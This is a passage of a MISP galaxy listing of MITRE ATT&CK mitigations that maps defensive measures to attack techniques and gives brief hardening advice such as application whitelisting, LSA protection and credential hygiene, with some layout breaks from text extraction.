
• mitigates: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Outlook Rules - T1137.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Thread Execution Hijacking - T1055.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Office Template Macros - T1137.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="LNK Icon Smuggling - T1027.012" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="VDSO Hijacking - T1055.014" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="KernelCallbackTable - T1574.013" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Outlook Forms - T1137.003" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Outlook Home Page - T1137.004" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Thread Local Storage - T1055.005" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Ptrace System Calls - T1055.008" with estimative-language:likelihood-probability="almost-certain"


Winlogon Helper DLL Mitigation - T1004

Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.

Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: misp-galaxy:mitre-course-of-action="Winlogon Helper DLL Mitigation - T1004"

Compile After Delivery Mitigation - T1500

This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Use Recent OS Version - M1006

New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.

Use Recent OS Version - M1006 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Protected User Data - T1636" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1627" with estimative-
• mitigates: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1458" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Audio Capture - T1429" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1641.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="URI Hijacking - T1635.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1632" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1626.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Device Lockout - T1629.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1641" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Compromise Application Executable - T1577" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1624" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Prevent Application Removal - T1629.001" with
estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Geofencing - T1627.001" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1642" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"


Table 6024. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1006">https://attack.mitre.org/mitigations/M1006</a></td>
</tr>
</tbody>
</table>

**System Service Discovery Mitigation - T1007**

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="System Service Discovery Mitigation - T1007"

Table 6025. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="https://attack.mitre.org/mitigations/M1006" alt="Link" /></td>
</tr>
<tr>
<td><img src="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" alt="Link" /></td>
</tr>
<tr>
<td><img src="http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" alt="Link" /></td>
</tr>
<tr>
<td><img src="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" alt="Link" /></td>
</tr>
<tr>
<td><img src="https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" alt="Link" /></td>
</tr>
<tr>
<td><img src="https://attack.mitre.org/mitigations/T1007" alt="Link" /></td>
</tr>
<tr>
<td><img src="https://technet.microsoft.com/en-us/library/ee791851.aspx" alt="Link" /></td>
</tr>
</tbody>
</table>

**Taint Shared Content Mitigation - T1080**

Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).

Reduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.
Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: `misp-galaxy:mitre-course-of-action="Taint Shared Content Mitigation - T1080"

Table 6026. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1080">https://attack.mitre.org/mitigations/T1080</a></td>
</tr>
</tbody>
</table>

**Security Support Provider Mitigation - T1101**

Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

The tag is: `misp-galaxy:mitre-course-of-action="Security Support Provider Mitigation - T1101"

Table 6027. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html">http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1101">https://attack.mitre.org/mitigations/T1101</a></td>
</tr>
</tbody>
</table>

**Peripheral Device Discovery Mitigation - T1120**

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: `misp-galaxy:mitre-course-of-action="Peripheral Device Discovery Mitigation - T1120"

Table 6028. Table References
Password Policy Discovery Mitigation - T1201

Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)

The tag is: `misp-galaxy:mitre-course-of-action="Password Policy Discovery Mitigation - T1201"`

Install Root Certificate Mitigation - T1130

HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where an adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)

Windows Group Policy can be used to manage root certificates and the `<code>Flags</code>` value of `<code>HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates\Root|ProtectedRoots</code>` can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)

The tag is: `misp-galaxy:mitre-course-of-action="Install Root Certificate Mitigation - T1130"`
**Modify Existing Service Mitigation - T1031**

Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.

The tag is: *misp-galaxy:mitre-course-of-action="Modify Existing Service Mitigation - T1031"*

**Table 6031. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1031">https://attack.mitre.org/mitigations/T1031</a></td>
</tr>
<tr>
<td><a href="https://github.com/mattifestation/PowerSploit">https://github.com/mattifestation/PowerSploit</a></td>
</tr>
</tbody>
</table>

**Remote File Copy Mitigation - T1105**

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Remote File Copy Mitigation - T1105"*

**Table 6032. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1105">https://attack.mitre.org/mitigations/T1105</a></td>
</tr>
</tbody>
</table>
Graphical User Interface Mitigation - T1061

Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Graphical User Interface Mitigation - T1061"

Table 6033. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1061">https://attack.mitre.org/mitigations/T1061</a></td>
</tr>
</tbody>
</table>

Application Deployment Software Mitigation - T1017

Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

The tag is: misp-galaxy:mitre-course-of-action="Application Deployment Software Mitigation - T1017"

Table 6034. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1017">https://attack.mitre.org/mitigations/T1017</a></td>
</tr>
</tbody>
</table>

2930
Credentials in Files Mitigation - T1081

Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)

The tag is: misp-galaxy:mitre-course-of-action="Credentials in Files Mitigation - T1081"

Table 6035. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://support.microsoft.com/kb/2962486">http://support.microsoft.com/kb/2962486</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1081">https://attack.mitre.org/mitigations/T1081</a></td>
</tr>
</tbody>
</table>

Remote System Discovery Mitigation - T1018

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Remote System Discovery Mitigation - T1018"

Table 6036. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1018">https://attack.mitre.org/mitigations/T1018</a></td>
</tr>
</tbody>
</table>

Indirect Command Execution Mitigation - T1202

Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like App Locker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable
and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution. (Citation: SpectorOPs SettingContent-ms Jun 2018)

The tag is: `misp-galaxy:mitre-course-of-action="Indirect Command Execution Mitigation - T1202"`

**Table 6037. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1202">https://attack.mitre.org/mitigations/T1202</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/the-tale-of-settingcontent-ms-files-1ea253e4d39">https://posts.specterops.io/the-tale-of-settingcontent-ms-files-1ea253e4d39</a></td>
</tr>
</tbody>
</table>

**XSL Script Processing Mitigation - T1220**

[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.

The tag is: `misp-galaxy:mitre-course-of-action="XSL Script Processing Mitigation - T1220"`

**Table 6038. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1220">https://attack.mitre.org/mitigations/T1220</a></td>
</tr>
</tbody>
</table>

**Standard Cryptographic Protocol Mitigation - T1032**

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

The tag is: `misp-galaxy:mitre-course-of-action="Standard Cryptographic Protocol Mitigation - T1032"`

**Table 6039. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1032">https://attack.mitre.org/mitigations/T1032</a></td>
</tr>
</tbody>
</table>
Custom Cryptographic Protocol Mitigation - T1024

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Custom Cryptographic Protocol Mitigation - T1024"

System Information Discovery Mitigation - T1082

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="System Information Discovery Mitigation - T1082"
Windows Remote Management Mitigation - T1028

Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)

The tag is: *misp-galaxy:mitre-course-of-action="Windows Remote Management Mitigation - T1028"*

**Table 6042. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1028">https://attack.mitre.org/mitigations/T1028</a></td>
</tr>
</tbody>
</table>

Commonly Used Port Mitigation - T1043

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Commonly Used Port Mitigation - T1043"*

**Table 6043. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1043">https://attack.mitre.org/mitigations/T1043</a></td>
</tr>
</tbody>
</table>

Security Software Discovery Mitigation - T1063

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Security Software Discovery Mitigation - T1063"*

**Table 6044. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Network Service Scanning Mitigation - T1046

Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Network Service Scanning Mitigation - T1046"

Table 6045. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1063">https://attack.mitre.org/mitigations/T1063</a></td>
</tr>
</tbody>
</table>

Application Isolation and Sandboxing - M1048

Restrict execution of code to a virtual environment on or in transit to an endpoint system.

The tag is: misp-galaxy:mitre-course-of-action="Application Isolation and Sandboxing - M1048"

View relationships graph

Application Isolation and Sandboxing - M1048 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002"
• mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="HTML Smuggling - T1027.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"


Table 6046. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1048">https://attack.mitre.org/mitigations/M1048</a></td>
</tr>
</tbody>
</table>

**Inhibit System Recovery Mitigation - T1490**

Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery.

Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS
AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Inhibit System Recovery Mitigation - T1490"

Table 6047. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1490">https://attack.mitre.org/mitigations/T1490</a></td>
</tr>
<tr>
<td><a href="https://www.ready.gov/business/implementation/IT">https://www.ready.gov/business/implementation/IT</a></td>
</tr>
</tbody>
</table>

Uncommonly Used Port Mitigation - T1065

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Uncommonly Used Port Mitigation - T1065"

Table 6048. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1065">https://attack.mitre.org/mitigations/T1065</a></td>
</tr>
</tbody>
</table>

Pass the Hash Mitigation - T1075

Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.

Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenF
FilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)

Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.

The tag is: `misp-galaxy:mitre-course-of-action="Pass the Hash Mitigation - T1075"`

**Table 6049. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1075">https://attack.mitre.org/mitigations/T1075</a></td>
</tr>
</tbody>
</table>

**Remote Desktop Protocol Mitigation - T1076**

